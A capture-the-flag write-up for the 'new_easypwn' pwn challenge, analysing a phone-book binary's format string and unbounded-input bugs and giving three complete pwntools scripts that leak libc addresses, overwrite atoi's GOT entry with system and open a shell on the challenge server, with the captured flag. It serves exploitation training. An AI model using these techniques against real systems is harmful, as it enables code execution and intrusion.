当前位置:网站首页>Offensive World-PWN-new_easypwn
Offensive World-PWN-new_easypwn
2022-08-05 10:02:00 【aptx4869_li】
攻防世界-PWN-new_easypwn
检查保护机制
[email protected]:~/Desktop/attachments$ checksec hello
[*] '/home/healer/Desktop/attachments/hello'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[email protected]:~/Desktop/attachments$ readelf -h hello
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0xa00
Start of program headers: 64 (bytes into file)
Start of section headers: 8648 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 29
Section header string table index: 28
攻击点分析
After a simple analysis of the program function,is a recordable4software for phone number information,There are heap blocks,有结构体,The organization of the data refers to the following structure
pwndbg> x/30xg 0x5555557560b0
0x5555557560b0 <stdin>: 0x00007ffff7dd18e0 0x0000000400000000
Record the number of stored items
0x5555557560c0: 0x0000000a0000000a 0x0000000c0000000a
Record the length of the description information of each number in turn
0x5555557560d0: 0x0000000000000000 0x0000000000000000
0x5555557560e0: 0x3837363534333231 0x6174736574313039
Strings are preceded in sequence11character is the number data content,第2characters starting with name information
0x5555557560f0: 0x0000000000000000 0x0000555555757010
Pointer to a heap block describing information
0x555555756100: 0x3232323232323232 0x6274736574323232
0x555555756110: 0x0000000000000000 0x0000555555757030
0x555555756120: 0x3333333333333333 0x6374736574333333
0x555555756130: 0x0000000000000000 0x0000555555757050
0x555555756140: 0x3837363534333231 0x7171717171313039
0x555555756150: 0x0000000000000071 0x0000555555757070
0x555555756160: 0x0000000000000000 0x0000000000000000
pwndbg> vis
0x555555757000 0x0000000000000000 0x0000000000000021 ........!.......
0x555555757010 0x6161616161616161 0x0000000000000000 aaaaaaaa........
描述信息
0x555555757020 0x0000000000000000 0x0000000000000021 ........!.......
0x555555757030 0x6161616161616161 0x0000000000000000 aaaaaaaa........
0x555555757040 0x0000000000000000 0x0000000000000021 ........!.......
0x555555757050 0x6161616161616161 0x0000000000000000 aaaaaaaa........
0x555555757060 0x0000000000000000 0x0000000000000021 ........!.......
0x555555757070 0x7771777177717771 0x0000000000007771 qwqwqwqwqw......
0x555555757080 0x0000000000000000 0x0000000000020f81 ................ <-- Top chunk
格式化字符串漏洞
unsigned __int64 show_10EB() // 功能3 show
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("input index:");
__isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 3 && *((_BYTE *)&unk_2020EB + 0x20 * v1) )
{
printf("number:", &v1);
printf((const char *)&unk_2020E0 + 0x20 * v1); //A format string vulnerability exists in phone number printing
printf("\nname:%s\n", (char *)&unk_2020E0 + 0x20 * v1 + 11);
printf("des:%s\n", qword_2020F8[4 * v1]);
}
else
{
puts("bad index!");
}
return __readfsqword(0x28u) ^ v2;
}
Format string length only11位,The entered name information will isolate the phone number11The position after the end of the bit,Breakout length11The way to limit is through the willnumber与nameConcatenated to achieve the effect of extending the format string
add_node("%p%p%p%p%p%","p%p%p%p%p","10","a"*8)
pwndbg> x/30xg 0x5555557560b0
0x5555557560b0 <stdin>: 0x00007ffff7dd18e0 0x0000000200000000
0x5555557560c0: 0x0000000a0000000a 0x0000000000000000
0x5555557560d0: 0x0000000000000000 0x0000000000000000
0x5555557560e0: 0x3837363534333231 0x6174736574313039
0x5555557560f0: 0x0000000000000000 0x0000555555757010
0x555555756100: 0x7025702570257025 0x7025702570257025
0x555555756110: 0x0000000070257025 0x0000555555757030
0x555555756120: 0x0000000000000000 0x0000000000000000
pwndbg> x/5s 0x555555756100
0x555555756100: "%p%p%p%p%p%p%p%p%p%p" #number+name
0x555555756115: ""
0x555555756116: ""
Via format string vulnerability,Addresses in stack space can be leaked,即可获得ELF文件的加载地址,以及libc文件的加载地址,By controlling pointers in stack space,Select the stack address where the two pointers are nested,例如:栈地址A->栈地址B(Generally, the pointers in the stack space are relatively close,Only the last byte can be modified,so that it points to where we want it to be),Controls two pointers to modify something similar in the stack space.bss段的地址(In this way, only the data of the lower three bytes of the desired pointer needs to be modified,In my practice, the format string can be modified successfully one byte at a time,或者两个字节,Four bytes of data at a time have not been written successfully),Two stack addresses are needed because one points to the location that needs to be modifiedA,另一个指向A+2,Because what we wrote is all there.bsssegment or heap space,The stack space value cannot be directly written to the pointer we want,而%x$nModifying the location of memory requires a suitable pointer,So this time by hijacking the nested combination of two stack pointers,It is possible to construct a desired pointer indirectly in stack space,See the notes below for details.
pwndbg> stack 50
00:0000│ rsp 0x7fffffffdd30 ◂— 0x255757070
01:0008│ 0x7fffffffdd38 ◂— 0x1c594f1e5a48ad00
02:0010│ rbp 0x7fffffffdd40 —▸ 0x7fffffffdd60 —▸ 0x5555555552a0 ◂— push r15
03:0018│ 0x7fffffffdd48 —▸ 0x555555555274 ◂— jmp 0x555555555294
04:0020│ 0x7fffffffdd50 —▸ 0x7fffffffde40 ◂— 0x1
05:0028│ 0x7fffffffdd58 ◂— 0x300000000
06:0030│ 0x7fffffffdd60 —▸ 0x5555555552a0 ◂— push r15
07:0038│ 0x7fffffffdd68 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax
08:0040│ 0x7fffffffdd70 ◂— 0x1
09:0048│ 0x7fffffffdd78 —▸ 0x7fffffffde48 —▸ 0x7fffffffde10 —▸ 0x5555557560f8 —▸ 0x555555757010 ◂— ...
1、The stack address here0x7fffffffde48,Points to another stack address(已被修改)
0a:0050│ 0x7fffffffdd80 ◂— 0x1f7ffcca0
0b:0058│ 0x7fffffffdd88 —▸ 0x555555555213 ◂— push rbp
0c:0060│ 0x7fffffffdd90 ◂— 0x0
0d:0068│ 0x7fffffffdd98 ◂— 0xa2c85ca5df602a7d
0e:0070│ 0x7fffffffdda0 —▸ 0x555555554a00 ◂— xor ebp, ebp
0f:0078│ 0x7fffffffdda8 —▸ 0x7fffffffde40 ◂— 0x1
10:0080│ 0x7fffffffddb0 ◂— 0x0
... ↓
12:0090│ 0x7fffffffddc0 ◂— 0xf79d09f0c0c02a7d
13:0098│ 0x7fffffffddc8 ◂— 0xf79d194ad5d02a7d
14:00a0│ 0x7fffffffddd0 ◂— 0x0
... ↓
17:00b8│ 0x7fffffffdde8 —▸ 0x7fffffffde58 —▸ 0x7fffffffde12 ◂— 0xde40000055555575 /* 'uUUU' */
2、The stack address here0x7fffffffde58,Also points to another stack address(已被修改)
18:00c0│ 0x7fffffffddf0 —▸ 0x7ffff7ffe168 —▸ 0x555555554000 ◂— jg 0x555555554047
19:00c8│ 0x7fffffffddf8 —▸ 0x7ffff7de780b (_dl_init+139) ◂— jmp 0x7ffff7de77e0
1a:00d0│ 0x7fffffffde00 ◂— 0x0
... ↓
1c:00e0│ 0x7fffffffde10 —▸ 0x5555557560f8 —▸ 0x555555757010 ◂— 'aaaaaaaa'
5、With the following steps3和4The pointer can be modified here,
Make it point to the location in the structure that records the phone number information that originally pointed to the heap space,
With this pointer again, the pointer to the heap can be modified,使其指向got表,
Use the editing function of the program itself,Hijacking can be achievedgot表
1d:00e8│ 0x7fffffffde18 —▸ 0x7fffffffde40 ◂— 0x1
1e:00f0│ 0x7fffffffde20 ◂— 0x0
1f:00f8│ 0x7fffffffde28 —▸ 0x555555554a29 ◂— hlt
20:0100│ 0x7fffffffde30 —▸ 0x7fffffffde38 ◂— 0x1c
21:0108│ 0x7fffffffde38 ◂— 0x1c
22:0110│ r13 0x7fffffffde40 ◂— 0x1
23:0118│ 0x7fffffffde48 —▸ 0x7fffffffde10 —▸ 0x5555557560f8 —▸ 0x555555757010 ◂— 'aaaaaaaa'
3、The stack address here can be modified with the help of the first pointer above(已修改,A)
24:0120│ 0x7fffffffde50 ◂— 0x0
25:0128│ 0x7fffffffde58 —▸ 0x7fffffffde12 ◂— 0xde40000055555575 /* 'uUUU' */
4、The stack address here can be modified with the help of the second pointer above(已修改,A+2)
The stack space above is purely in the process of exploiting the format string vulnerability,A moment when the layout is relatively complete,多次利用%x$n方法,Finally put the pointer we want on the stack space,Then use the pointer to modify the target position,此时有个疑问,为什么不直接将0x7fffffffde10The address is changed to atoi()函数的got表地址,Also use the editing function of the program itself to go around,It is written because of the limited length of the format string of the program itself24个字符(number+name)之后,followed by a pointer to the heap address,It is possible that the format string will be truncated,As a result, three bytes cannot be written to the target location at a time,because of the coverageatoi()The function will be executed when the function is selected,If it is modified in two times, the program will crash when the second modification is made,Because after the first revisionatoi()What the function cares about is an incomplete error address.A one-time modification may contain two large numbers,makes the format string length exceed24.
逻辑漏洞(终极办法)
unsigned __int64 edit_CCE()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("input index:");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 3 )
{
puts("bad index!");
}
else
{
printf("phone number:", &v1);
__isoc99_scanf("%s", (char *)&unk_2020E0 + 32 * v1);
printf("name:");
__isoc99_scanf("%s", (char *)&unk_2020E0 + 32 * v1 + 11);
printf("des info:");
read(0, (void *)qword_2020F8[4 * v1], (signed int)dword_2020C0[v1]);
}
return __readfsqword(0x28u) ^ v2;
}
And see the editing function function,在读取number内容与nameThere is no length limit when it comes to content,After adding a node via the add function,Directly use the editing function to set the desired objective functiongotThe table address is written directly to the location of the heap space pointer,After getting the address we want by formatting the string,Directly edit the write target pointer,然后放入systemfunction address
add_node("12345678901","aaaa","10","a"*8)
add_node("%13$p%12$p%","15$p%p%p%p%p%p","10","a"*8)
show_node("1")
io.recvuntil("0x")
libc_start_main = int(io.recv(12),16) - 240
libcbase = libc_start_main - libc.symbols["__libc_start_main"]
system_addr = libcbase + libc.symbols["system"]
elf_base = int(io.recv(14)[2:],16)&0xfffffffffffff000 - 0x1000
atoi_got = elf.got["atoi"] + elf_base
log.success("Get atoi_got address : {}".format(hex(atoi_got)))
payload = b"1"*11 + b"2"*5 + b"c"*8 + p64(atoi_got)
edit_node("0",payload[0:11],payload[11:],p64(system_addr))
解题脚本
There are a few detours in the process of answering this question,Below is the workaround for different versions
A pure format string exploit,The local execution is successful, but the remote cannot
脚本一(LibcSearcher方法)
from pwn import *
from LibcSearcher import *
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
# io = process("./hello")
# nc 61.147.171.105 62211
io = remote("61.147.171.105",62211)
elf = ELF("./hello")
libc = ELF("./libc-2.23.so")
def add_node(ph_num,names,des_length,des_info):
io.recvuntil("your choice>>")
io.send("1")
io.recvuntil("phone number:")
io.sendline(ph_num)
io.recvuntil("name:")
io.sendline(names)
io.recvuntil("input des size:")
io.sendline(des_length)
io.recvuntil("des info:")
io.sendline(des_info)
def del_node(node_index):
io.recvuntil("your choice>>")
io.sendline("2")
io.recvuntil("input index:")
io.sendline(node_index)
def show_node(node_index):
io.recvuntil("your choice>>")
io.sendline("3")
io.recvuntil("input index:")
io.sendline(node_index)
def edit_node(node_index,ph_num,names,des_info):
io.recvuntil("your choice>>")
io.sendline("4")
io.recvuntil("input index:")
io.sendline(node_index)
io.recvuntil("phone number:")
io.sendline(ph_num)
io.recvuntil("name:")
io.sendline(names)
io.recvuntil("des info:")
io.sendline(des_info)
# gdb.attach(io,"b * $rebase(0xe13)\nb * $rebase(0x1190)")
add_node("12345678901","testa","10","a"*8)
add_node("%13$p%12$p%","15$p%p%p%p%p%p","10","a"*8)
show_node("1")
io.recvuntil("0x")
libc_start_main = int(io.recv(12),16) - 240
obj = LibcSearcher("__libc_start_main",libc_start_main)
libcbase = libc_start_main - obj.dump("__libc_start_main")
system_addr = libcbase + obj.dump("system")
log.success("Get system_addr address : {}".format(hex(system_addr)))
bin_sh_addr = libcbase + obj.dump("str_bin_sh")
log.success("Get bin_sh_addr address : {}".format(hex(bin_sh_addr)))
atoi_addr = libcbase + obj.dump("atoi")
log.success("Get atoi_addr address : {}".format(hex(atoi_addr)))
elf_base = int(io.recv(14)[2:],16)&0xfffffffffffff000 - 0x1000
atoi_got = elf.got["atoi"] + elf_base
log.success("Get atoi_got address : {}".format(hex(atoi_got)))
node1_addr = elf_base + 0x2020e0 + 0x18
log.success("Get node1_addr address : {}".format(hex(node1_addr)))
stack_09_val = int(io.recv(14)[2:],16)
log.success("Get stack_09_val address : {}".format(hex(stack_09_val)))
stack_09_addr = stack_09_val - (0xe48-0xd78)
# print(hex(stack_09_addr))
stack_1c_addr = stack_09_addr + (0xe0-0x48)
# print(hex(stack_1c_addr))
stack_1c_addr_low_W = stack_1c_addr & 0xffff
# print(hex(stack_1c_addr_low_W))
payload = "%"+str(stack_1c_addr_low_W)+"c%15$hn" + "%"+str(2)+"c%29$hn"
add_node(payload[0:11],payload[11:],"10","a"*8)
show_node("2")
node1_addr_low_W = node1_addr & 0xffff
node1_addr_B = (node1_addr & 0xff0000)//0x10000
print(hex(node1_addr_B),hex(node1_addr_low_W))
payload = "%"+str(node1_addr_low_W)+"c%41$hn"
add_node(payload[0:11],payload[11:],"10","a"*8)
show_node("3")
payload = "%"+str(node1_addr_B)+"c%43$hhn"
edit_node("3",payload[0:11],payload[11:],"a"*8)
show_node("3")
payload = "%"+str(atoi_got&0xffff)+"c%34$hn"
edit_node("2",payload[0:11],payload[11:],"a"*8)
show_node("2")
edit_node("0","12345678901","get_you",p64(system_addr))
io.recvuntil("your choice>>")
io.sendline("/bin/sh")
io.interactive()
脚本二(本地libc方法)
This method is the previous script,Local can be successfully remote,But remote doesn't always work,Considering may be subject tolibc文件的影响,Use one of the methods provided by the title
from pwn import *
from LibcSearcher import *
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
# io = process("./hello")
# nc 61.147.171.105 62211
io = remote("61.147.171.105",62211)
elf = ELF("./hello")
libc = ELF("./libc-2.23.so")
def add_node(ph_num,names,des_length,des_info):
io.recvuntil("your choice>>")
io.send("1")
io.recvuntil("phone number:")
io.sendline(ph_num)
io.recvuntil("name:")
io.sendline(names)
io.recvuntil("input des size:")
io.sendline(des_length)
io.recvuntil("des info:")
io.sendline(des_info)
def del_node(node_index):
io.recvuntil("your choice>>")
io.sendline("2")
io.recvuntil("input index:")
io.sendline(node_index)
def show_node(node_index):
io.recvuntil("your choice>>")
io.sendline("3")
io.recvuntil("input index:")
io.sendline(node_index)
def edit_node(node_index,ph_num,names,des_info):
io.recvuntil("your choice>>")
io.sendline("4")
io.recvuntil("input index:")
io.sendline(node_index)
io.recvuntil("phone number:")
io.sendline(ph_num)
io.recvuntil("name:")
io.sendline(names)
io.recvuntil("des info:")
io.sendline(des_info)
# gdb.attach(io,"b * $rebase(0xe13)\nb * $rebase(0x1190)")
add_node("12345678901","z"*(24-11),"10","a"*8)
add_node("%13$p%12$p%","15$p%p%p%p%p%p","10","a"*8)
show_node("1")
io.recvuntil("0x")
libc_start_main = int(io.recv(12),16) - 240
libcbase = libc_start_main - libc.symbols["__libc_start_main"]
system_addr = libcbase + libc.symbols["system"]
# atoi_got
elf_base = int(io.recv(14)[2:],16)&0xfffffffffffff000 - 0x1000
atoi_got = elf.got["atoi"] + elf_base
log.success("Get atoi_got address : {}".format(hex(atoi_got)))
node1_addr = elf_base + 0x2020e0 + 0x18
log.success("Get node1_addr address : {}".format(hex(node1_addr)))
stack_09_val = int(io.recv(14)[2:],16)
log.success("Get stack_09_val address : {}".format(hex(stack_09_val)))
stack_09_addr = stack_09_val - (0xe48-0xd78)
# print(hex(stack_09_addr))
stack_1c_addr = stack_09_addr + (0xe0-0x48)
# print(hex(stack_1c_addr))
stack_1c_addr_low_W = stack_1c_addr & 0xffff
# print(hex(stack_1c_addr_low_W))
payload = "%"+str(stack_1c_addr_low_W)+"c%15$hn" + "%"+str(2)+"c%29$hn"
add_node(payload[0:11],payload[11:],"10","a"*8)
show_node("2")
node1_addr_low_W = node1_addr & 0xffff
node1_addr_B = (node1_addr & 0xff0000)//0x10000
print(hex(node1_addr_B),hex(node1_addr_low_W))
payload = "%"+str(node1_addr_low_W)+"c%41$hn"
add_node(payload[0:11],payload[11:],"10","a"*8)
show_node("3")
payload = "%"+str(node1_addr_B)+"c%43$hhn"
edit_node("3",payload[0:11],payload[11:],"a"*8)
show_node("3")
payload = "%"+str(atoi_got&0xffff)+"c%34$hn"
edit_node("2",payload[0:11],payload[11:],"a"*8)
show_node("2")
print("------------------------------------------------------------")
show_node("0")
edit_node("0","12345678901","get_you",p64(system_addr))
io.recvuntil("your choice>>")
io.sendline("/bin/sh")
io.interactive()
脚本三(The ultimate shortcut)
Under the premise that the first two scripts never work,I looked back at the topic again,Found the easy way,Straightforwardly simple to explode
from pwn import *
from LibcSearcher import *
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
# io = process("./hello")
io = remote("61.147.171.105",51501)
elf = ELF("./hello")
libc = ELF("./libc-2.23.so")
def add_node(ph_num,names,des_length,des_info):
io.recvuntil("your choice>>")
io.send("1")
io.recvuntil("phone number:")
io.sendline(ph_num)
io.recvuntil("name:")
io.sendline(names)
io.recvuntil("input des size:")
io.sendline(des_length)
io.recvuntil("des info:")
io.sendline(des_info)
def del_node(node_index):
io.recvuntil("your choice>>")
io.sendline("2")
io.recvuntil("input index:")
io.sendline(node_index)
def show_node(node_index):
io.recvuntil("your choice>>")
io.sendline("3")
io.recvuntil("input index:")
io.sendline(node_index)
def edit_node(node_index,ph_num,names,des_info):
io.recvuntil("your choice>>")
io.sendline("4")
io.recvuntil("input index:")
io.sendline(node_index)
io.recvuntil("phone number:")
io.sendline(ph_num)
io.recvuntil("name:")
io.sendline(names)
io.recvuntil("des info:")
io.sendline(des_info)
# gdb.attach(io,"b * $rebase(0xe13)\nb * $rebase(0x1190)\nb * $rebase(0xe11)")
add_node("12345678901","aaaa","10","a"*8)
add_node("%13$p%12$p%","15$p%p%p%p%p%p","10","a"*8)
show_node("1")
io.recvuntil("0x")
libc_start_main = int(io.recv(12),16) - 240
libcbase = libc_start_main - libc.symbols["__libc_start_main"]
system_addr = libcbase + libc.symbols["system"]
# atoi_got
elf_base = int(io.recv(14)[2:],16)&0xfffffffffffff000 - 0x1000
atoi_got = elf.got["atoi"] + elf_base
log.success("Get atoi_got address : {}".format(hex(atoi_got)))
payload = b"1"*11 + b"2"*5 + b"c"*8 + p64(atoi_got)
edit_node("0",payload[0:11],payload[11:],p64(system_addr))
io.recvuntil("your choice>>")
io.sendline("/bin/sh")
io.interactive()
执行结果
Remote execution result
[DEBUG] Sent 0x8 bytes:
b'/bin/sh\n'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x23 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'hello\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
bin
dev
flag
hello
lib
lib32
lib64
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x27 bytes:
b'flag{612ea967e4e5660a863966365ddc4947}\n'
flag{612ea967e4e5660a863966365ddc4947
边栏推荐
- IO stream articles -- based on io stream to realize folder copy (copy subfolders and files in subfolders) full of dry goods
- 2022-08-01 回顾基础二叉树以及操作
- 蚁剑webshell动态加密连接分析与实践
- 营销建议 | 您有一份八月营销月历待查收! 建议收藏 !
- 我们的Web3创业项目,黄了
- The Seven Weapons of Programmers
- LeetCode 216. Combined Sum III (2022.08.04)
- 开发常用手册链接分享
- After Keil upgrades to AC6, what changes?
- hcip BGP enhancement experiment
猜你喜欢

Pycharm 常用外部工具

一文道清什么是SPL

七夕浪漫约会不加班,RPA机器人帮你搞定工作

express hot-reload

shell脚本实例

Which big guy has the 11G GI and ojvm patches in April or January 2020, please help?

STM32+ULN2003驱动28BYJ4步进电机(根据圈数正转、反转)

自定义过滤器和拦截器实现ThreadLocal线程封闭

创建一个 Dapp,为什么要选择波卡?

How to realize the short press and long press detection of the button?
随机推荐
Which big guy has the 11G GI and ojvm patches in April or January 2020, please help?
【温度预警程序de开发】事件驱动模型实例运用
轩辕实验室丨欧盟EVITA项目预研 第一章(四)
2022华数杯数学建模思路分析交流
PAT乙级-B1020 月饼(25)
Qiu Jun, CEO of Eggplant Technology: Focus on users and make products that users really need
基于MindSpore高效完成图像分割,实现Dice!
开源一夏|OpenHarmony如何查询设备类型(eTS)
How to realize the short press and long press detection of the button?
The Seven Weapons of Programmers
高质量 DeFi 应用构建指南,助力开发者玩转 DeFi Summer
mysql索引
使用工具类把对象中的null值转换为空字符串(集合也可以使用)
无题六
2022-08-01 回顾基础二叉树以及操作
Oracle临时表空间作用
静态链接和动态链接
leetcode: 529. 扫雷游戏
Two-table query average grouping in sql server
无题十一